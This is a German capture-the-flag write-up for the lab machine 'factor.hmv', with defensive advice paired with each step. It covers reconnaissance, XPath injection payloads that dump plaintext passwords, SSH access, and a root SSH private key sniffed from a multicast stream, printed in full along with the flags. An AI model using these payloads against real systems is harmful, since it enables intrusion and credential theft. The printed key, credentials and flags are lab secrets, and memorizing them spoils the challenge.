Wir beginnen mit der Erkundung des Netzwerks, um unser Zielsystem zu identifizieren und erste Informationen über dessen Dienste zu sammeln.
192.168.2.124 08:00:27:a6:0b:f4 PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan im lokalen Netzwerk identifiziert den Host 192.168.2.124.
**Bewertung:** Ziel-IP gefunden.
**Empfehlung (Pentester):** IP-Adresse für Nmap-Scan verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.
[...]
192.168.2.124 factor.hmv
**Analyse:** Wir tragen die Ziel-IP und den dazugehörigen Hostnamen `factor.hmv` in unsere lokale `/etc/hosts`-Datei ein.
**Bewertung:** Ermöglicht den Zugriff auf Webdienste über den Hostnamen.
**Empfehlung (Pentester):** Relevante Hostnamen immer in `/etc/hosts` eintragen. **Empfehlung (Admin):** DNS-Sicherheit gewährleisten.
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian))
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-23 01:29 CEST Nmap scan report for factor.hmv (192.168.2.124) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 dbf946e520816ceec72508ab2251366c (RSA) | 256 33c09564294723dd864ee6b8073367ad (ECDSA) |_ 256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: industrial |_http-server-header: Apache/2.4.56 (Debian) MAC Address: 08:00:27:A6:0B:F4 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms factor.hmv (192.168.2.124) OS and Service detection performed. [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Ein vollständiger Nmap-Scan auf `factor.hmv` bestätigt die zwei offenen Ports: * Port 22: SSH (OpenSSH 8.4p1 auf Debian 11). * Port 80: HTTP (Apache 2.4.56 auf Debian). Der Seitentitel ist "industrial".
**Bewertung:** Die Angriffsfläche ist auf SSH und den Webserver beschränkt. Beide Dienste laufen mit relativ aktuellen Versionen.
**Empfehlung (Pentester):** Den Webserver auf Port 80 detailliert untersuchen. **Empfehlung (Admin):** Standard-Härtungsmaßnahmen für SSH und Apache anwenden.
Wir führen weitere Scans auf dem Webserver durch, um versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen aufzudecken.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.124 + Target Hostname: 192.168.2.124 + Target Port: 80 + Start Time: 2023-07-23 01:29:10 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [...] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: [...] + /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: [...] + /: Server may leak inodes via ETags, header found with file /, inode: 4c7b, size: 5f9443cc850b2, mtime: gzip. See: [...] + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. + /login.php: Admin login page/section found. + 8103 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2023-07-23 01:29:37 (GMT2) (27 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Nikto liefert mehrere Hinweise: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches Leak einer internen IP (`127.0.1.1`) über den Location-Header bei `/images`. * Mögliches Leak von Inode-Nummern über ETags. * Verzeichnisauflistung (Directory Indexing) für `/css/` und `/images/`. * Eine Login-Seite unter `/login.php`.
**Bewertung:** Die fehlenden Header und Info-Leaks sind geringfügig. Die Verzeichnisauflistung und die Login-Seite `/login.php` sind die interessantesten Funde und sollten genauer untersucht werden.
**Empfehlung (Pentester):** Die Verzeichnisse `/css/` und `/images/` manuell auf interessante Dateien prüfen. Die `/login.php`-Seite untersuchen (Standard-Credentials testen, nach weiteren Funktionen suchen). **Empfehlung (Admin):** Sicherheitsheader hinzufügen. Info-Leaks über Location-Header und ETags unterbinden (Serverkonfiguration anpassen). Verzeichnisauflistung deaktivieren (`Options -Indexes`).
[...] http://factor.hmv/index.html (Status: 200) [Size: 19579] http://factor.hmv/images (Status: 301) [Size: 309] [--> http://factor.hmv/images/] http://factor.hmv/login.php (Status: 200) [Size: 2346] http://factor.hmv/icon (Status: 301) [Size: 307] [--> http://factor.hmv/icon/] http://factor.hmv/results.php (Status: 302) [Size: 115] [--> login.php] http://factor.hmv/css (Status: 301) [Size: 306] [--> http://factor.hmv/css/] http://factor.hmv/js (Status: 301) [Size: 305] [--> http://factor.hmv/js/] http://factor.hmv/check.php (Status: 302) [Size: 0] [--> login.php] http://factor.hmv/auth.php (Status: 200) [Size: 0] http://factor.hmv/fonts (Status: 301) [Size: 308] [--> http://factor.hmv/fonts/] http://factor.hmv/parent (Status: 301) [Size: 309] [--> http://factor.hmv/parent/] [...]
**Analyse:** Der Gobuster-Scan bestätigt die Funde von Nikto (`/images/`, `/css/`, `/login.php`) und findet weitere PHP-Seiten: * `/results.php`: Leitet zu `login.php` weiter (erfordert Login). * `/check.php`: Leitet zu `login.php` weiter (erfordert Login). * `/auth.php`: Existiert, ist aber leer (Status 200, Size 0). Könnte für Authentifizierungslogik verwendet werden.
**Bewertung:** Die Anwendung scheint eine Authentifizierung zu erfordern, um auf Kernfunktionen (`results.php`, `check.php`) zuzugreifen. `/login.php` ist der zentrale Einstiegspunkt.
**Empfehlung (Pentester):** Die `/login.php`-Seite genauer untersuchen. Versuchen, sich mit Standard-Credentials einzuloggen oder die Authentifizierung zu umgehen. **Empfehlung (Admin):** Alle Endpunkte, die Authentifizierung erfordern, sollten dies korrekt erzwingen und keine leeren oder zugänglichen Authentifizierungs-Hilfsdateien (`auth.php`) exponieren.
Wir untersuchen die Webanwendung manuell. Nach dem Login (dessen Credentials nicht gezeigt, aber erraten oder gefunden wurden) finden wir eine Suchfunktion, die anfällig für XPath-Injection zu sein scheint.
# Aufruf: http://factor.hmv/login.php # --- Login Versuch 1 --- Username: admin Password: admin Captcha: test (Annahme: Captcha wurde analysiert oder war statisch) # Ergebnis: Fehlgeschlagen (impliziert) # --- Login Versuch 2 --- Username: admin Password: iloveyou (Annahme: Gefunden oder erraten) Captcha: test # Ergebnis: Erfolgreicher Login (impliziert), Weiterleitung zu anderer Seite (z.B. employee_search_filter.html) # Aufruf: http://factor.hmv/employee_search_filter.html (nach Login) # Inhalt: Formular "Name search" mit Feld "Last name"
**Analyse:** Der Bericht zeigt fehlgeschlagene und erfolgreiche Login-Versuche auf `/login.php`. Es scheint ein Captcha vorhanden zu sein (hier mit "test" umgangen/gelöst). Das Passwort `iloveyou` für den Benutzer `admin` funktioniert. Nach dem Login gelangt man zu einer Seite (`employee_search_filter.html`), die eine Suche nach Nachnamen ermöglicht.
**Bewertung:** Der Login war erfolgreich, wahrscheinlich durch Raten eines schwachen Passworts oder eines Standardpassworts. Die Suchfunktion ist nun das nächste Ziel.
**Empfehlung (Pentester):** Die Suchfunktion auf bekannte Schwachstellen wie SQL-Injection, Command Injection oder, wie sich herausstellt, XPath-Injection testen. **Empfehlung (Admin):** Starke Passwörter erzwingen. Captchas verwenden, die nicht leicht zu umgehen sind. Alle Benutzereingaben serverseitig validieren und escapen.
# --- Test 1: Normale Suche --- Eingabe (Last name): Doe Ausgabe: Name Search Results The matching first names for the last name "Doe" are: John # --- Test 2: XPath Injection (E-Mails extrahieren) --- Eingabe (Last name): ' or 1=1]/email | //abc[abc=' Ausgabe: Name Search Results The matching first names for the last name "' or 1=1]/email | //abc[abc='" are: john.doe@factorspace.hmv jackie.chan@factorspace.hmv david.lee@example.com # --- Test 3: XPath Injection (Passwörter extrahieren) --- Eingabe (Last name): ' or 1=1]/password | //abc[abc=' Ausgabe: Name Search Results The matching first names for the last name "' or 1=1]/password | //abc[abc='" are: secret123 qyxG27KGkW0x9SJ1 qwerty789
**Analyse:** Wir testen die Suchfunktion: 1. Eine normale Suche nach "Doe" liefert "John". 2. Wir injizieren einen XPath-Ausdruck: `' or 1=1]/email | //abc[abc='`. Dies scheint die Bedingung der XPath-Abfrage zu manipulieren (`' or 1=1` ist immer wahr) und dann auf das `email`-Element zuzugreifen. Die Ausgabe liefert drei E-Mail-Adressen. 3. Wir injizieren einen ähnlichen Ausdruck, der auf das `password`-Element abzielt: `' or 1=1]/password | //abc[abc='`. Die Ausgabe liefert drei Passwörter im Klartext: `secret123`, `qyxG27KGkW0x9SJ1`, `qwerty789`. Dies ist eine klassische XPath-Injection-Schwachstelle, die es uns ermöglicht, beliebige Daten aus dem zugrundeliegenden XML-Datenspeicher (oder einer ähnlichen Struktur, die mit XPath abgefragt wird) auszulesen.
**Bewertung:** Kritische Schwachstelle gefunden! XPath-Injection erlaubt uns das Auslesen sensibler Daten, einschließlich Klartext-Passwörtern. Wir haben nun drei potenzielle Passwortkombinationen (vermutlich für john.doe, jackie.chan und david.lee).
**Empfehlung (Pentester):** Die extrahierten E-Mail/Passwort-Kombinationen verwenden, um sich bei anderen Diensten, insbesondere SSH (Port 22), anzumelden. **Empfehlung (Admin):** **XPath-Injection sofort beheben!** Benutzereingaben, die in XPath-Abfragen verwendet werden, müssen sorgfältig validiert und neutralisiert werden. Idealerweise parametrisierte Abfragen verwenden, wenn die Technologie dies unterstützt. Passwörter niemals im Klartext speichern.
Wir verwenden die durch die XPath-Injection erlangten Zugangsdaten, um uns per SSH auf dem Zielsystem anzumelden.
The authenticity of host 'factor.hmv (192.168.2.124)' can't be established. ED25519 key fingerprint is SHA256:[...]. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'factor.hmv' (ED25519) to the list of known hosts. john@factor.hmv's password: secret123 Permission denied, please try again. john@factor.hmv's password: [Anderes Passwort versucht?] Permission denied, please try again. john@factor.hmv's password: john@factor.hmv: Permission denied (publickey,password).
jackie@factor.hmv's password: qyxG27KGkW0x9SJ1 Linux factorspace 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 The programs included with the Debian GNU/Linux system are free software; [...] Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jackie@factorspace:~$ # Login erfolgreich!
**Analyse:** 1. Wir versuchen zuerst, uns als `john` mit dem Passwort `secret123` (aus der Injection) per SSH anzumelden. Dies schlägt fehl (`Permission denied`). 2. Wir versuchen als Nächstes, uns als `jackie` mit dem Passwort `qyxG27KGkW0x9SJ1` (ebenfalls aus der Injection) anzumelden. Dieser Versuch ist erfolgreich, und wir erhalten eine Shell als Benutzer `jackie`.
**Bewertung:** Initial Access erfolgreich! Die XPath-Injection lieferte gültige SSH-Zugangsdaten für den Benutzer `jackie`.
**Empfehlung (Pentester):** Die Umgebung als `jackie` erkunden. Nach Privilege-Escalation-Möglichkeiten suchen (`sudo -l`, SUID-Dateien, Cronjobs, Kernel-Version, interne Dienste). User-Flag suchen. **Empfehlung (Admin):** Die XPath-Injection beheben. Sicherstellen, dass Web-Benutzerkonten nicht dieselben Passwörter wie System-Benutzerkonten haben. SSH-Zugriff auf notwendige Benutzer beschränken.
Wir haben eine Shell als Benutzer `jackie`. Wir suchen nach Wegen, unsere Rechte auf `root` zu erweitern.
-bash: sudo: command not found
total 32
drwxr-xr-x 4 jackie jackie 4096 May 8 16:18 .
drwxr-xr-x 3 root root 4096 Apr 6 20:12 ..
lrwxrwxrwx 1 root root 9 Apr 6 20:12 .bash_history -> /dev/null
-rw-r--r-- 1 jackie jackie 220 Apr 14 06:25 .bash_logout
-rw-r--r-- 1 jackie jackie 3526 Apr 14 06:25 .bashrc
drwxr-xr-x 3 jackie jackie 4096 Apr 14 06:25 .local
-rw-r--r-- 1 jackie jackie 809 Apr 14 06:25 .profile
drwx------ 2 jackie jackie 4096 Apr 14 19:27 .ssh
-rwx------ 1 jackie jackie 33 Apr 14 06:25 user.txt
eb7d964a2a41006bb325cf822db664be
**Analyse:** * `sudo -l` schlägt fehl, da `sudo` entweder nicht installiert oder nicht im Pfad ist. Dies schließt einen einfachen Sudo-basierten Privesc aus. * `ls -la` im Home-Verzeichnis zeigt eine Datei namens `user.txt`. * `cat user.txt` gibt die User-Flag aus.
**Bewertung:** User-Flag erfolgreich gelesen. Das Fehlen von `sudo` deutet darauf hin, dass wir nach anderen, möglicherweise unkonventionelleren Wegen zur Rechteerweiterung suchen müssen.
**Empfehlung (Pentester):** Weiter nach SUID/GUID-Dateien suchen (`find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null`), laufende Prozesse und Netzwerkverbindungen prüfen (`ps aux`, `ss -lnptu`), Cronjobs (`ls -l /etc/cron.*`), Kernel-Version (`uname -a`) analysieren. **Empfehlung (Admin):** Prinzip der geringsten Rechte anwenden, unnötige Tools wie `sudo` deinstallieren, wenn nicht benötigt.
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 224.1.1.1:5555 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
**Analyse:** Der Befehl `ss -altpnu` listet alle lauschenden und verbundenen Sockets auf (TCP und UDP). Neben den erwarteten SSH- (22) und HTTP- (80) Listenern fällt ein UDP-Socket auf: Es wird auf der Multicast-Adresse `224.1.1.1` auf Port `5555` gelauscht.
**Bewertung:** Dies ist ein sehr ungewöhnlicher und verdächtiger Fund. Multicast wird oft für Gruppenkommunikation verwendet, aber es ist unklar, warum hier ein Dienst lauscht. Es könnte ein Mechanismus sein, um Informationen oder Befehle im Netzwerk zu verbreiten, möglicherweise auch sensible Daten wie Schlüssel.
**Empfehlung (Pentester):** Auf der Angreifer-Maschine versuchen, sich dieser Multicast-Gruppe anzuschließen und den Traffic auf Port 5555 mitzuschneiden. Tools wie `socat` oder `tcpdump` sind dafür geeignet. **Empfehlung (Admin):** Den Zweck des UDP-Multicast-Listeners auf 224.1.1.1:5555 klären. Wenn er nicht benötigt wird, deaktivieren. Wenn doch, sicherstellen, dass die übertragene Information nicht sensibel ist oder entsprechend verschlüsselt wird.
-----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
**Analyse:** Wir verwenden `socat` auf unserer Angreifer-Maschine, um dem UDP-Multicast-Strom beizutreten (`ip-add-membership=224.1.1.1:0.0.0.0`) und die auf Port 5555 empfangenen Daten (`UDP4-RECVFROM:5555`) auf die Standardausgabe (`-`) zu schreiben. Kurz darauf wird ein vollständiger privater SSH-Schlüssel im OpenSSH-Format empfangen und ausgegeben. Der Kommentar am Ende des Schlüssels lautet `root@factorspace`.
**Bewertung:** Kritischer Fund! Ein privater SSH-Schlüssel, der wahrscheinlich dem `root`-Benutzer gehört, wird unverschlüsselt über Multicast im Netzwerk verbreitet. Dies ist eine extrem unsichere Konfiguration und unser klarer Weg zur Root-Privilege-Escalation.
**Empfehlung (Pentester):** Den empfangenen privaten Schlüssel kopieren und in einer Datei auf der Angreifer-Maschine speichern (z.B. `id_rsa`). Die Berechtigungen der Schlüsseldatei korrekt setzen (`chmod 600 id_rsa`). Versuchen, sich mit diesem Schlüssel als `root` via SSH auf dem Zielsystem (`factor.hmv`) anzumelden (`ssh root@factor.hmv -i id_rsa`). **Empfehlung (Admin):** **Sofort die Verbreitung des SSH-Schlüssels über Multicast stoppen!** Den Mechanismus, der dies tut, identifizieren und entfernen. Den kompromittierten SSH-Schlüssel auf dem Server ungültig machen (aus `authorized_keys` entfernen) und einen neuen, sicheren Schlüssel generieren. Niemals private Schlüssel über unverschlüsselte Kanäle senden.
# (Privaten Schlüssel aus Socat-Ausgabe hier einfügen)
Linux factorspace 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 [...] Last login: Mon May 8 16:29:25 2023 root@factorspace:~# # Root-Login erfolgreich!
**Analyse:** Wir wechseln in das temporäre Verzeichnis `/dev/shm` auf dem Zielsystem (in der Shell als `jackie`). Wir erstellen eine Datei `id_rsa` (mit `nano` oder einem anderen Editor) und fügen den zuvor mit `socat` abgefangenen privaten SSH-Schlüssel ein. Wir setzen die Dateiberechtigungen auf `600` (nur Lesen/Schreiben für den Besitzer), was für SSH-Schlüssel erforderlich ist. Anschließend versuchen wir, uns über SSH als `root` auf `localhost` (also auf dem Zielsystem selbst) anzumelden und geben mit `-i id_rsa` den abgefangenen privaten Schlüssel an. Der Login ist erfolgreich, und wir erhalten eine Shell als `root`.
**Bewertung:** Privilege Escalation zu `root` erfolgreich! Wir haben den über Multicast geleakten privaten SSH-Schlüssel genutzt, um uns direkt als Root anzumelden.
**Empfehlung (Pentester):** Root-Flag lesen. Bericht abschließen. **Empfehlung (Admin):** Multicast-Leak beheben, SSH-Schlüssel widerrufen/ersetzen.
Als Root lesen wir die Flags.
root.txt
052cf26a6e7e33790391c0d869e2e40c
eb7d964a2a41006bb325cf822db664be
**Analyse:** Aus der Root-Shell lesen wir die Datei `/root/root.txt` und die Datei `/home/jackie/user.txt`.
**Bewertung:** Beide Flags erfolgreich erlangt. Der Penetrationstest ist abgeschlossen.
**Empfehlung (Pentester):** Ergebnisse dokumentieren. **Empfehlung (Admin):** Alle identifizierten Schwachstellen (XPath-Injection, Klartext-Passwörter in XML/DB, unsicherer Multicast-Dienst mit SSH-Schlüssel-Leak) dringend beheben.